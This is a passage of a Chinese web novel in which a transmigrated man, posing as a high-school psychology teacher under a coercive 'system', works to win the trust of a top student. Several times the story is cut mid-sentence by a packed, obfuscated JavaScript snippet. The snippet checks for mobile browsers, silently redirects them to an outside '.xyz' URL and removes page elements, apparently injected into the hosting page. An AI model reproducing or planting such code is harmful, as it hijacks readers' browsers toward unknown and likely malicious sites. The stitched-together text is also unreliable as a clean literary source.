濮怀玉便安静地坐在方凳上,看着他从外边忙到里面,终于能够坐下来,郑重其事地戴上眼镜。 隗祯:“你有什么想说的吗?” “什么都可以?”她以反问句作开场白。 作为一个心理老师,隗祯当然要展示自己包容的胸怀,尤其是在濮怀玉对他的印象下跌到这个程度的情况下。所以他说:“当然。什么都可以。” 濮怀玉点头,低头思忖。 随后,漆黑的瞳仁微闪。这双似乎应属于野生动物的眼睛倒映出隗祯的容颜,他在里面像是失去了所有矫饰。 濮怀玉说:“你真不像一个老师。” 一针见血的程度,让隗祯惊出一身冷汗。 这句话其实能品出很多层意味,但隗祯第一时间联想到的,是他最不愿意见到的“那个”意思。 他很快冷静下来:“是我刚才太不信任你,这点老师会做检讨。” 不管是不是,隗祯知道自己无论如何都不能往那个方向表示。 濮怀玉不说话,只是看他,看到隗祯觉得毛骨悚然。 他故作镇定低头,装作正忙于翻阅访客名单,尽管他今天才入职:“就算是老师,也不能轻而易举误解一个学生,更何况是往坏的方向想。” 濮怀玉的坐姿有些懒散,还驼着背,但她把双手放在膝盖上的样子却莫名给人一种内秀的老实感。 “……我接受您的检讨。我的模样确实会带来误解,这是人之常情。” 她真的从来都不顶撞老师,哪怕是一个不太像老师的老师。 早熟,不代表失了为人的分寸。 这样就好。隗祯呼出一口气,进入他真正想聊的话题: “濮同学,你还记得上学期期末考自己考了多少名吗?” 若是学业不佳,正好以此为机会,鼓励她天天向上。 但濮怀玉冷着脸比了个剪刀手,这毫无疑问是尖子生的水平。即便不是年级排名,在作为卓越班的1班取得这个排名,已经可以说明她的脑袋瓜里除了替人伸张正义,还有学生的老本行。 “年级排名也是第二。”若说濮怀玉没有点领头羊的小得意,那她也不会笔直地伸出食指和中指,更不会加上更多限定词。 隗祯可以理解年轻人的骄傲,何况她的本钱相当优越,连连点头:“很好。” 他很快就想到了新话术,“这样,濮同学,我们打个赌。如果你在第一次双周练中能保持这个名次,那么直到毕业,你随时可以找我进行心理咨询。” 濮怀玉的眼神显露出迷惘。 这是一个很有吸引力的赌注吗? “我为什么要因为随时可以过来进行心理咨询跟你打这个赌?” 炫耀起完全不存在的头衔,隗祯还真有点脸热,但也只能作出胜券在握的模样,照着系统给出的人设念:“就凭隗老师我本硕都是燕师大心理学,是本科期间海外交换项目全奖获得者,心理学相关证书全家桶拥有者……” 濮怀玉死鱼眼:“装不下这么多人。” 不过她听得出来,隗祯确实挺有实力。而且本科毕业就能考进隋城一中,也是万里挑一了。 但濮怀玉还有别的条件:“我的朋友可能会有心理问题,我能跟你约定时间,让她们来跟你聊聊吗?” “当然可以,我对加班没有意见。”隗祯答应得很爽快,毕竟他的时间就是用来接近任务对象,“前提是,你赌赢了,这样老师当然会愿赌服输。” 而濮怀玉的胜利,其实就是他的胜利。 竟然有情愿加班的老师……! 少女警惕道:“你不会是想冲业绩,跟校方串通起来吧?” “要是向外泄露信息,咨询就没有意义了。除非事情非常严重,必须要从谈话记录中抽取证据,不然我不会泄露同学的隐私。” 隗祯诚恳地给出不得已时的条件,“我承诺,只要不会出现这种状况,每个同学的隐私都会有所保障。” 听上去还挺可信。 “可以,我愿意打这个赌。”濮怀玉最终答应下来,认真解释,“有需要的话,我会提前跟你沟通时间。这是最基本的礼貌。” 隗祯笑了:“你很笃定你能赢啊。” “说不定您比我更加笃定。”濮怀玉缓缓起身,“毕竟在您的认知里,好像不存在我输了这场赌局应该支付的代价。” “我先回教室写作业了,老师再见。” 那就配合他一下,玩这个益智小游戏吧。新老师也是需要职业成就感的,尽管他们的教案已经陈旧到可以追溯到世纪初,但里面包藏的并非坏心。 就像学生试探着接触这个世界,老师也在尝试接触这个世界的孩子。 「友好值+5」 「当前友好值:10。」 “……再见。” 被包容的,似乎是他。 「叮,早已提示过宿主,任务对象作为主角,人品毋庸置疑,是宿主对系统信任度有限,对任务对象抱以偏见。」 隗祯自知理亏,但他的怀疑也并非空穴来风,「先前一问三不知,现在又告诉我,是我不够信任你吗?」 「是您太过傲慢。」 「……」 「新手阶段给您匹配教师身份,难度一定是最低的。是您首先认为任务对象不敬师长,恶意揣测她。请宿主调整态度,担负起身为教师应有的责任。」 记忆里,少女的狡猾和锋芒未有一刻用在他身上,解释时甚至有股一板一眼的执着感。 倘若把她的不赞同理解为毫无缘由的叛逆与敌意,那他看出来的东西,某种程度上正代表他对濮怀玉的态度。不过是丑陋者临镜自照而已。 「……我知道了。」 夜晚的教学楼灯火通明,经过明净的窗户时伏案的身影统一得像是背负了相同的重量,殊不知从这一刻开始已然分开不同的侧面。 濮怀玉似乎是被落下的那个,但她脑袋很好使,就连任课老师也准许她精简步骤,反倒以以劣势走在前面。 说好要认真学习,为第一次双周练加油,濮怀玉很快就写完最重量级的数学和物理,开始转笔发呆。 要是人生也像做题这么简单就好了。 然后,一个纸团被扔到她桌上。 ‘老公你终于回来了,英语阅读第三篇和第四篇没做,借我抄抄行不行?我会帮你对答案的。’ 又跟着一连串的大哭表情。 还英语课代表呢。濮怀玉还没有忙到英语作业,眼下只能抽出习题册, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“算了吧,我怕你的托马斯回旋大巴掌能把隗老师打飞了。”秦紫怡哼哼唧唧,“而且他长得确实挺好看,别打坏了。” 每次她开始评点某些男性的外貌,濮怀玉都会很无奈地说“能不能别想了”,但今天不一样。或许是因为前不久刚在线下认证过,她稍微沉默了一下。 “咦,你怎么不说话了?” 濮怀玉:“确实有点好看。” 他在昏暗的光线里戴上眼镜,无论是施施然将眼镜架起的动作,还是玳瑁色金属眼镜框严丝合缝圈出一双明眸的时候,她差点看得眼睛直了。 如果学心理学的人都这么好看,濮怀玉摸着脸心想,等自己去燕京念大学渐入佳境,一定要泡一个心理学院的学弟。 ——这一刻,百分之六十和百分之百的效果是一样的。 “原来这是你的type。”秦紫怡“嘿嘿”一笑。 “那当然,我这么有品位。”濮怀玉摊开双手,坦然地表达自己的欣赏,“但我可不是当学生爱上老师,剪头发爱上理发师,看病爱上医生的那种人,我纯喜欢这种类型而已。” 秦紫怡有被内涵到,气急败坏:“喂喂喂!我不是就跟你分享了一下那天我去看牙遇到的牙医很帅吗?” “我也没说你啊,我没有具体指某个人,对吧?” “你这人真是……说话怎么这样!” 漂亮的风景不过是青春期枯燥学习生活的调剂品,偶尔添一抹纯粹的鲜丽色彩,尚不存在成人世界的复杂含义。当数学老师走进门,让有需求的同学到6班隔壁的空教室找她询问难题,秦紫怡立马撇下这个话题前去报名。 有时间耐心辅导数学题的数学老师,可比看一眼就抛到脑后的“风景”紧俏太多了。 至于隗祯,他用一周的时间上完了整个高三一半班级的心理课。好在咨询的同学不多,且基本都是冲着资历更老的何老师去,因而他有时间补充教案。 那么多篇……那么多篇! 教务处的老师检查过后,当着何老师的面夸奖了他一通:“隗老师的教案写得不错,相当充分和生动,看得出来下功夫了。” 紧接着话锋一转,“但是光写好教案,肯定是不够的。你这样的年轻人,有朝气,形象还这么好,是投身比赛的好时候。” 俗称:赛课。 教务老师意味深长:“趁着何老师还在岗的这几年,要多多请教啊。” 这一刻,隗祯的天塌了三分之二。 5. 005 活动课上,大多数男生都在解散后奔赴篮球场,还有的悄悄溜回教室写作业,濮怀玉则和秦紫怡一人一个漫步机,就像两个耄耋之年的太空老人,象征性健身的同时闲聊。 濮怀玉拿着纸张,面无表情:“‘沈意柳,你真是让我好找。怎么,做我慕瑾的女人就这么想逃?’” 秦紫怡激动到紧攥拳头:“味儿太正了!” “‘分明是你隐藏身份在先!如果知道那夜是你,一直都是你,后来我怎么会……怎么舍得打你……’” 秦紫怡当即眼泪汪汪,全是真情实感,根本不像演得:“慕瑾,难道你爱的只是一个虚无缥缈的身份,却不爱一整个我吗?你给我的巴掌那么疼,但也远不如这番看似恳切的话语来得绝情!” 濮怀玉无力吐槽:“都能扇女人巴掌了,怎么还纠结爱不爱的呢。少看这种小说。” “没事,都还回去了。”秦紫怡接过她递回来的纸,上面全是她抄写的精华,“后来沈意柳直接把慕瑾打进医院,惊不惊喜,意不意外?” “……那还挺不走寻常路。” 跟蜷缩起来的树袋熊一般,濮怀玉趴在栏杆上,没精打采地偶尔晃两下腿。远处是文科班的女生们在跳大绳,一个接一个,马尾辫往天际抽去,弧度饱满,比另一边好不容易凑齐的男生队还要麻利不少。 “好羡慕她们,起码她们的教室肯定没那么臭。” 见濮怀玉仍没有搭话,秦紫怡出言询问,“怎么了?感觉你从大课间到现在一直没什么精神,好奇怪。怎么公布你是年级第一后,你反而不开心了。” 濮怀玉想起大课间去心理咨询室跑空,何老师告诉她“这两天隗老师特别忙,几乎没看见他在这儿”,哼了一声。 就像是暑热的风掺杂进些许让人不悦的杂质。“我的事被忘记了。”她轻轻抱怨。 秦紫怡立马义愤填膺:“被哪个不长眼睛的忘记了?我作为濮怀玉最好的朋友,可为你自豪了!” 濮怀玉笑了一下:“谢谢你。” 索性第二天就是周三,有心理健康课。隗祯走进教室的时候,就戴着他那个装模作样的玳瑁色眼镜,眉眼拖沓着淡淡的厌倦。 他放下教案,环顾教室内:“听你们魏老师说,双周练的成绩昨天已经全部出来了。多余的话我不再赘述,今天的课就应个景,主题定为‘竞争压力下的焦虑应对’。” 「友好值-1」 「当前友好值:9。」 “其实你们在考试的时候,我也在经历入职之后的第一次挑战。”隗祯硬着头皮说道,“前几天老师参加了市里的心理健康优质课比赛,在这里给大家报个喜,已经以市赛一等奖的结果挺进省赛了。” 随后响起的掌声很给他面子。 秦紫怡一边鼓掌,一边在台下小声嘟囔:“说这些话干嘛,谁问你了。” 「友好值+1」 「当前友好值:10。」 提示音让隗祯稍稍舒出一口气:“其实刚接到赛课消息的时候,我也觉得很突然。和诸位的训练有素不同,老师更像是赶鸭子上架,所有计划好的事情一下子就被打乱了。” “好在结果不错,临时抱佛脚还是很有功效的。这里我想换一个高情商的说法,叫做‘不抛弃,不放弃’。” 不知道停留在哪个版本的复古说法,里面蕴藏的含义倒是质朴可听,不过也是听烂的道理。 濮怀玉鼓完掌,开始对着修改空间极其有限的各科卷子发呆。 回回测试完,老师往往在评讲结束布置订正的作业,每到这时濮怀玉最清闲。 “……接下来老师想让几位同学分享一下考试前应对压力的方法,作为本堂课的导入。” 为了赛课不得不深度学习课程设计后,隗祯已然不是昨天那个他,对cosplay老师有了更深层次的理解。眼下他点了几位同学,最终目光落在倒数第二排面无表情握笔的少女身上。 “濮怀玉,你来向大家分享一下吧。” 被点名,少女先是态度很好地起身,然后一阵沉默。 在学习上,濮怀玉确实没给过自己什么压力。这次为了打赌成功,或许增加了0.0001%的比例?她还真没有认真思索过。 “……可以跟别人打个赌?”她小声道。 隗祯起初没有听见:“濮同学,你可以大声一点。”但在听到系统的复述后,隗祯就想“还是别大声了吧”。 从掉落的友好值看,她多少有些怨念,他还非要故事重提。 结果,一个男生突然举手:“隗老师,濮怀玉是这次双周练的年级第一名,她都有压力,我们怎么活啊!” “对啊对啊,人比人气死人。” “反正我是考不了这么变态的分数。” 隗祯对濮怀玉做了个坐下的手势,笑道:“每个人都有自己的焦虑,因为竞争时时刻刻都在发生着。今天我以学业为案例征求各位同学的意见,结果‘不小心’抽到了第一名,并不代表这个命题在第一名身上就不存在。” 他的举动,若说不知道她的名次,濮怀玉是不太相信的。 不管,反正她确实装到了。 「友好值+2」 「当前友好值:12。」 这节心理课比上次有趣很多,濮怀玉也没事可干,听听课再看看那张脸,一节课竟也悄悄过去大半。 一回生二回熟,奔跑声让隗祯心领神会提前下课。秦紫怡刚准备拉濮怀玉出门,却看见才来几周的心理老师叫了好友的名字。 “你先去吃吧。” 秦紫怡不疑有他:“那我就先走了。” 濮怀玉跟在隗祯身后,听他说“耽误你五分钟的时间”。 “但是隗老师,我今天不需要心理咨询……” 推开门,何老师念高一的女儿正在她的工位上打开保温桶,弥散开来的冷气里混进饭菜温热的香味,有点矛盾。 “学姐好。” “你好。” 匆匆回应过招呼声,濮怀玉跟着隗祯走进内室,说:“我的朋友都考得很好,她们最近应该也没有需求。” 内室都是放置杂物的柜子桌子,角落里则是微波炉和小冰箱。 隗祯弯腰,从冰箱里提出中午寄放在里面的切块可可提拉米苏:“就当是进步一名的奖励了。” 可可粉均匀地涂抹在表层,不同颜色、质地的累加一看就很有迷惑性。对濮怀玉这个甜食爱好者而言,仅凭惊鸿一瞥,她就能想象得出细腻的奶香和咖啡风味交织在一起的感觉。 可无功不受禄,濮怀玉对来自异性的礼物尤为警惕,即便隗祯是老师。 她没有收,婉拒道:“隗老师,你事先没说会有蛋糕。” 回忆起得到这块蛋糕的缘由,隗祯一时间有些尴尬。 “我今天碰上一个中暑的老奶奶,家里人是做烘焙的,她做主送了我这块蛋糕……” 听起来像是一个拙劣的借口,可是事实就是如此。 老奶奶颤颤巍巍被他扶到阴凉处,敷上冷湿的毛巾,少次多饮后终于能勉强分开一点眼皮,然后一下子瞪大了: “谢谢你……哦、哦呼!” 隗祯起初还以为她一口气没喘上来,已经准备好拨通救护车电话紧急送医,但系统不仅告诉他没事,还平静无波给出提示音:「已解除防OOC模块,当前过滤程度:0。」 这是在干什么?他的脸难道有速效救心丸的功效吗? 隗祯眼睁睁看老奶奶挣扎着起身,死死攥着他的手,力道大得简直要让他怀疑这是一场诱拐他这个成年人的仙人跳,但老奶奶只是强硬地把他带到自家蛋糕房,塞了一块卖得最好的提拉米苏切块。 不仅如此,还非得要到他的联系方式,理由是介绍对象。 隗祯只好撒谎,赔笑道:“奶奶,我有对象了。” 结果老奶奶动了动鼻子,一把年纪硬是看出几分年轻时的奔放和流氓气,语出惊人:“不对啊孩子,奶奶我的鼻子灵得很,你这肯定没有过女人。” 到底是怎么闻出来的!隗祯觉得两辈子加起来恐怕都没有比这更难堪的时候,继续打着马虎眼道“您说笑了”“这两年确实有找对象的打算,但到时候我应该已经不在隋城”,总算盼来包装好蛋糕的服务员。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448470|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「得到关键道具:提拉米苏蛋糕×1。」 「防OOC模块已开启。」 从百分之一百到百分之六十,老奶奶的态度依旧热切,却没有先前那般顽固。 隗祯走的时候,甚至听见服务员念叨“怎么还会变脸”。 一出蛋糕店,隗祯直往公交站台走,在心里跟系统进行了激烈的对峙,内容围绕“为什么突然擅自做主”和“为什么是关键道具,你不是跟我信息同步吗”。 系统的回答自始至终异常冰冷,并且下了“不听话就电击”的最后通牒,隗祯只能强行忍下这股怒气。 关键道具是吗?隗祯进了咨询室的门,第一时间向何老师推销新得手的蛋糕。 何老师看上去约莫五十岁上下,留着灰白的短卷发,总是笑得慈和,偶尔眼中也会掠过一丝精光。她拒绝了隗祯的馈赠,摆手道:“小姑娘吃的东西,我们老东西可吃不动喽。” “何老师不是有个女儿吗?” “她啊,被她爸惯坏了,平时净吃这些玩意儿,到我这里当然要严一点。隗老师还是自行处理吧。” 隗祯本也不喜欢甜食,他远在另一个世界的母亲喜欢,却也因为年龄不能多食,眼下颇有砸系统满脸的冲动。 一个机器会有脸吗?怕是有,也是狗的五官吧。隗祯讥讽地心想,最终为了不浪费粮食还是把蛋糕放进咨询室的小冰箱里。 系统要他送给谁,借老奶奶的花献给哪尊大佛,不言而喻。 隗祯不愿意接受,折腾一大圈,火气却在走进教室的瞬间消去大半。他的目标重新变的单一,那就是一点一点争取濮怀玉的友好值,从现在开始影响她的选择,协助她规避并非命中注定的劫难。 系统:「她这次得了第一名。」 「对濮怀玉来说,拿第一很容易,有个愿意以此跟她打赌的天真汉不容易。」 「她记得这场搅动无聊生活的赌局。」 而当濮怀玉站起来小声回答问题,周围的同学因为她拔得头筹起哄,隗祯的怨愤神奇地尽数消散。 何必愤世嫉俗。何必如此恶意。 一缕微风吹过,那里什么都不剩了。 “听起来挺像那么回事。”濮怀玉看隗祯窘迫到抿唇侧目的模样,突然觉得理由并不那么重要了,重要的是他想做好老师的心,“其实您也没有耽误太久,我也就跑空了一次,不需要给我补偿。” 隗祯只说:“承诺很重要。……蛋糕里面有没有放叉子?没有的话老师去找一只给你。” 濮怀玉提起蛋糕,凑近时眯起眼睛看:“有的。我去外面吃吧。” “行。我等一下有个会,你自己安排吧。” 少女提着蛋糕离开,隗祯自觉待在里室,即将要开会的煎熬被稀释了不少。 自从当了老师,班味儿越来越重不说,原先作为领导游刃有余应对的会议,如今也伴随着时不时有可能被点名的惊悚感。 他默默戴上耳机,放空自己。 工作没几周,隗祯已经觉得隋城一中欠他不少精神损失费了。 系统欠的,更是不计其数。只是系统掌控电击酷刑,隗祯有苦难言。 到点后,隗祯走出里室,便看见濮怀玉和何老师的女儿在互相投喂。 “学姐,给你吃这个鸡翅,你能不能再给我吃一口那个蛋糕。” “成交。” 才投喂完,濮怀玉忧心道:“这样会被何老师发现吧。何老师会让你张嘴,闻你嘴巴里的味道吗?” “应该不会吧,我妈只会用手机电脑热不热判断我有没有偷玩,这样检查我偷吃也太变态了吧。” 「线索二:她是甜食爱好者。」 隗祯早有预料,但考虑到身体健康,每次都送甜品未免太不负责任。 察觉到他出来,濮怀玉转过头,用握着叉子的手对他挥手:“隗老师再见。” 「友好值+5」 「当前友好值:+17。」 隗祯不禁莞尔:“再见,走的时候麻烦帮我把门带起来。” 濮怀玉竖起一个OK的手势。 ……这样,好像也挺不错。 6. 006 分享完蛋糕,濮怀玉准备回教室拿上饭卡再去食堂,结果秦紫怡拿着打包过的晚饭递给她,里面有一根玉米、一个水煮蛋,还有一张抹上甜面酱、推出时打出“比脸还大”旗号的大饼。 濮怀玉刚准备道谢,秦紫怡又从口袋里掏出一袋酸奶,是隋城大学农学院研究的产品,好喝不贵,就是供应量太少。她得意地炫耀:“当当!我还抢到了人气产品。” 放在往常,这个份量对濮怀玉来说轻轻松松,甚至偏少。 “天哪,秦紫怡你简直就是神。”她面无表情作出世界名画呐喊的动作,有股独特的冷幽默感,“如果说你心里没我,那我肯定是不相信的。” 秦紫怡害羞地拍了她一下:“讨厌——等等!”她忽然间做了一个“stop”的手势,流露警觉的神情,“我闻到了偷腥的味道。” 濮怀玉不在意地低头,象征性地闻了闻校服外套的衣角:“这怎么闻得出来……” 结果还没用力,甜甜的香气就钻进来。 哦豁。 “偷腥猫!你这个偷腥猫!” 秦紫怡刹那间小品女王上身,抽出纸巾擦拭干涸的眼角,“我在食堂为你的晚饭拼死拼活的时候,你竟然在外面偷吃……!” 濮怀玉:“我不喜欢猫,建议改为偷腥狗。但你要是说我偷吃,那你确实说对了。” 秦紫怡掩面而泣:“啊——” “好了好了,别演了,马上晚自习就要开始了。你先让濮怀玉吃两口,本来就凉得差不多了。” 劝告的女生是数学课代表卫殊,有着梳大光明也好看的完美头骨,就是头发因为学习数学愈发细软。 卫殊和濮怀玉属于高二数学竞赛选拔赛上不打不相识的交情,最终凭头悬梁锥刺股的刻苦终于跟濮怀玉拉开微弱差距,把她踢出了队伍。 如今,数竞班的老师仍会惋惜濮怀玉“聪明却不够努力”,卫殊却已经不会再感到不平,她们只是有不同的人生课题需要解决。现在她对濮怀玉偶尔不交数学作业也是睁一只眼闭一只眼,诠释了什么叫为官之道。 濮怀玉适时地咬几口大饼,含糊说“下次我把我的卡给你刷”。 秦紫怡仍是悲怆:“偷过腥的人,工资卡怎么摸都是凉的。” “我好像也闻到了甜甜的味道。”卫殊鼻子动了动,“你吃了什么?” 濮怀玉:“奖品。” “什么奖品?” 濮怀玉比出剪刀手,这次代表“victory”。她说:“拿第一名的奖品。” “说得我都又有点饿了。”秦紫怡揉了揉鼻尖,有股老艺术家的收放自如,“这周还有一次活动课,卖烤肠的摊子应该会支起来吧。” “应该吧。” 一口气连带蛋膜剥开两边的鸡蛋壳,濮怀玉颇有成就感,干脆一口一个,变成脸颊一动一动的巨大松鼠:“要我给你带吗?魏老师就算抓到,对我还是很通融的。” “我也要吃。”卫殊从口袋摸出零钱,塞进濮怀玉的校服外套里,“要是看到摊主,也给我带一根。不,两根。” 本是睁一只眼闭一只的小事,耐不住家长举报,也就变成了大事。 之所以都交给濮怀玉,既是因为她跟魏老师关系不错,还因为她确实没有家长管束,不存在“吃坏肚子会被家长训斥,再告到学校”的可能性。 “那我也两根。我妈总跟我说不健康,但我感觉那摊子还挺干净的。” 秦紫怡塞另一边口袋,拍了拍她鼓鼓囊囊的两侧:“你要是也想吃,就用我的碎钱买。” “我没你那么馋。” “偷吃的是你,凭什么说我馋!” 总之,这事就这么定了,由濮怀玉押送烤肠给两位大人,押送失败她全责,毕竟濮怀玉一个人吃四根烤肠非常正常,魏老师也只能怪两句“嘴别这么馋”“学校食堂和小卖部不能满足你的需求吗”,风险最低。 因此活动课当天,濮怀玉独自溜到铁栅栏前张望。 今天天气很好,已经出摊。她和摊主隔栅栏相望:“姨,给我来四根。包得严实点。” 中年女人动作非常麻利:“好嘞。”其间抬头,濮怀玉不会笑,对摊主比了个剪刀手,成功逗笑了摊主。 “小同学,怎么又是你啊?” 濮怀玉冷静道:“因为我比较值得相信。还有,姨,我已经高三了,不是小同学,是老同学了。” “你都说自己老,那我们怎么办啊?” “叫风华正茂,叫正是闯的年纪。”濮怀玉回了一下头,确定没人找过来,只有两个小可爱时不时对她挤眉弄眼,转过头道,“姨,等会儿我们班主任可能要来视察。” 不配合同学,她的生意也没法做。“行,姨先给你装上哈。” 有惊无险买下了烤肠,摊主说等新的烤肠机到会有鱼丸之类的新美食,濮怀玉记在心里面,准备扭头告诉两人。 结果一转头,说好的汇合地,两个人原地消失不见。 沿着黑色的铁栅栏慢慢走,此时的濮怀玉不似普通高中生,倒像美剧里为准备越狱伺机而动的主角,就这样满脸不经意漫步到了临近校门口的位置。 这个点,魏老师要是不在操场,一般会在教师食堂吃饭。所以来来往往进出人的校门,反而相当安全。 然后,濮怀玉便跟从地下停车场艰难推出电瓶车的隗祯面面相觑。 才制服这一新坐骑不久,隗祯多少有些紧张,再加上气候炎热,温热的汗液濡湿了额前的头发,依稀混进方才在停车场扶起车的细小尘埃。他是何等洁癖的人,只觉难以忍受,非得回家冲个澡不可。 只是,隗祯没想到濮怀玉会在附近,瞬间微微涨红了脸,总觉得丢了好大一个人。 “隗老师好。” “……你好。”他尴尬地扶正险些倾倒在地的车头,多年自律健身的成功差点化作上不得台面的肌无力,“老师家里水管爆了。” 虽然听起来又像借口,但事实就是家里的水管出了问题,水嘀嗒到了楼下。隗祯不得不为这样琐碎的小事跑一趟,亲力亲为,烦躁不已。 偏偏晚自习有同学预约了心理咨询,他不能就这样离开学校。 而眼下,更难堪的事情发生了。 「你不是有任务对象定位功能吗,为什么不告诉我濮怀玉就在校门口?!」 「经过提拉米苏事件,系统已经深刻反省自己。既然宿主没有要求告知,那么系统不会越俎代庖。」 「……」这段话里面要说没有私人恩怨,隗祯是绝对不会相信的。 烈日炎炎,少年人的汗水是青春与精力的火花,隗祯却厌恶这样汗涔涔的自己,实在是太不体面。 一想到要在濮怀玉面前小儿学步一般踏上电瓶车,隗祯的自我厌恶之心更加浓厚。 姑且不论多出来的社会经验,但他好歹是Stanford毕业的人才,怎么会有如此晕头转向、如此狼狈的时刻。 「友好值+3」 「当前友好值:+20。」 意外之喜让隗祯愣了愣,一时间甚至忘记自我厌憎了 为什么?他甚至什么都没做,只是强撑着那股对于失败自我的恶心感,跟濮怀玉打了声招呼而已。 她的表情也看不出什么,没有任何变化,只是点头,道声“老师一路顺风”。那点珍贵的馈赠怎么来的,没有一点迹象。 隗祯在一头雾水中将电瓶车推到校门外。 隗祯小心翼翼上了车。 车没有任何反应。 才买的电瓶车,这么快就坏了吗?隗祯一脸不可思议地下了车。 濮怀玉将烤肠环抱在胸前,禁不住叹气:“隗老师,你真的很逊诶。” ……真是没大没小!隗祯恼到红脸,绯色云霞晕染在颊边,然后便接到了一大袋香喷喷、挂满孜然和辣椒粉的烤肠。 纯淀粉,一点肉都没有的那种。隗祯抱着不是肉做成的肠,就像抱着异世界的菜谱。 她先是把电瓶车趟到一边,然后蹲下来,四处摸索,四处拍拍。 隗祯试图记在心里,下次绝不丢这个脸,但他发现濮怀玉的动作根本没有章程可言。 “你在干什么?”他问。 濮怀玉头也不抬:“安抚电瓶车情绪。” 然后她起身,往上面一坐,在拧动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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系统冷嘲热讽:「可惜你夹带的私货,她并不想要。」 「系统,你可以尊重我一点吗?」 「好的宿主。」 好在濮怀玉独一无二的诊治很有效,隗祯新买的电瓶车确实没有再犯病。 「宿主过去的生活经验并不适用于当下的生活,宿主倘若不想再丢脸,应该重新建立生活观念,否则迟早在任务对象面前露馅。」 「我明白。……我没有那么愚蠢。」 隗祯想起来,还有个叫“怀疑值”的东西。 「怀疑值满了,会怎么样?」 「您会因为任务对象的排斥即刻被弹出本世界,身死魂消。」 他沉默了,手里的烤肠都散发着苍凉感,好像尖叫着“我不死谁死”跳进烤肠机,变成一具具绝望的尸体。 依旧是活动课,不过这次变成濮怀玉像躲班主任一样鬼鬼祟祟躲着秦紫怡溜到铁栅栏边缘,接过另一边的隗祯递来的报酬。卫殊回教室写作业了,不然她肯定也会问。 绝非护食,濮怀玉只是拿回修车的报酬而已。 从被湿气浸润的纸袋中抽出,濮怀玉“咦”了一声:“怎么是肉的,感觉没有灵魂了。” “濮同学,你现在正值生长发育时期,路边摊还是少吃为妙。” 尽管这点钱生不带来、死不带去,但隗祯再苦的日子都没这么穷过,除了工资卡那点可怜的数额一无所有,也算是花了大价钱。再怎么样也比路边摊好吧? 少女从来单一的表情流露出些许勉强:“行吧,谢谢老师。”只是咬下一口,她立马加快了进食的速度,诚实地表现出意外和满意。 「友好值+2」 「当前友好值:+24。」 “下次要修车,还可以找我。” 她的诸多“友好”来自食物,也很符合这个年龄的孩子应具有的状态。隗祯一直都在默默进修,此时忍不住说教起来:“如果凑巧的话,学生的主要任务是学习,你不要总想着这个。还有,昨天何老师告诉我,一中不允许同学光顾路边摊。” 濮怀玉求饶得很不走心,棒读道:“下次不会了。” 然后象征性扣了一格友好值。 晚自习前,她再次被秦紫怡抓获。 “喂喂喂,又背着我偷吃好吃的!濮怀玉你这个偷腥猫……狗!” 濮怀玉只是没头没尾说了句:“等你有了我一样的手艺,你也能吃上好的。” 7. 007 这天出完操,濮怀玉闲坐在位置上,门口有人叫她的名字。 “濮怀玉,有人找你。” 门框分叉出长长的眼睫毛,像是含着泉水的一双卡姿兰大眼睛忽闪忽闪,出现在一张并不落于下等的精致脸蛋。 用秦紫怡的话说,“2班的章绪君是学校里难得一见的外形出众的男生”,可惜她倾心的是“man”却又不会因此有汗臭味的男人。 对好看的人,濮怀玉从来多点耐心,在秦紫怡笑嘻嘻的一句“也带上我”中应邀请走出教室门。 窗户洁净、透亮,映照出她垂眸看人时专注到让他人不太敢直视的神情,有种大理石凿刻出的庄重感。干涸的伤口几乎没有留下任何痕迹,那一点很淡的纹路像是铸造者情迷之下的虔诚亲吻,或许再过些时日就能褪干。 “你有事情吗?”濮怀玉说,“我的朋友跟我一起出来了,如果介意你她在这里……” “——那我会离开一小会儿。” 秦紫怡弯腰探出头,双手合十轻轻拜,像掩饰贼心的黄鼠狼。 奇异的是,这样的组合没有带来轻视谁、看不起谁的随意。她们的形影不离,像是漫画里的固定搭档,会让人有些羡慕其中一方。 而章绪君毫无疑问早已经选择好了羡慕的对象,所以他答“没关系”,重又和眼前只需站立就能带来充足威压、宛如不可逾越之山的少女对视。 然后紧握拳。“濮怀玉,你等着吧,这次我一定会拿回我的第一。” 围观者起哄,说着“竟然宣战了”“这是现实生活能看到的情节吗”,不过也有因为无聊走过的其他学生——不是谁都觉得自己在小说里,还是小说里负责围观的配角。 就像卫殊告诉自己的那样,每个人都有自己需要解决的课题。濮怀玉在校园风云人物事件的旋涡中心,仿佛轻而易举攫取一切,但她的真实困境在别处依旧存在,从不能够一劳永逸。 略显冷淡的声音是一盆自上而下、浇得章绪君透心凉的冰水: “自从高二分科,我取得年级第一的次数应该远比你多。我不在乎,不代表第一本就是你唾手可得的囊中之物。” “你的措辞,还有目的,都很奇怪。” 要是拿她当作展示野心的工具,那濮怀玉想说的是“你的算盘落空了”。 秦紫怡再次出镜,这次变了脸色:“同学,你脸有点大哦,小说看多了是吧?最重要是努力学习,可不是随地大小宣战哦。” 你小说看得也挺多。濮怀玉偷瞄她。 那又怎么样,她可不会代入现实。秦紫怡看回去。 章绪君的心一下子沉下去,然后扯出一丝勉强的笑:“不至于把我想的这么坏吧。” 濮怀玉:“不至于把我想的这么弱和不禁吓吧。” 一句鹦鹉学舌,羞辱性极强,连带周围似在嘲讽人的窃窃私语,马上把章绪君击退了。 长得好看一点又有什么用,本质是目空一切的Alpha男、达尔文主义者,完全拉低外形水平。内涵空虚、聒噪,就算跟濮怀玉的审美点勉强沾点边,又如何。 秦紫怡则对他的背影小幅度挥拳,比濮怀玉本人还在意她有没有被冒犯:“没点中二病还真干不出这种事,真以为我们小玉是随便学学就当了第一名吗?哎,还真是!” 除了找假想敌,还会别的吗。濮怀玉觉得无聊,她跟这种自信心爆棚的男性没好说的,白白浪费五分钟。 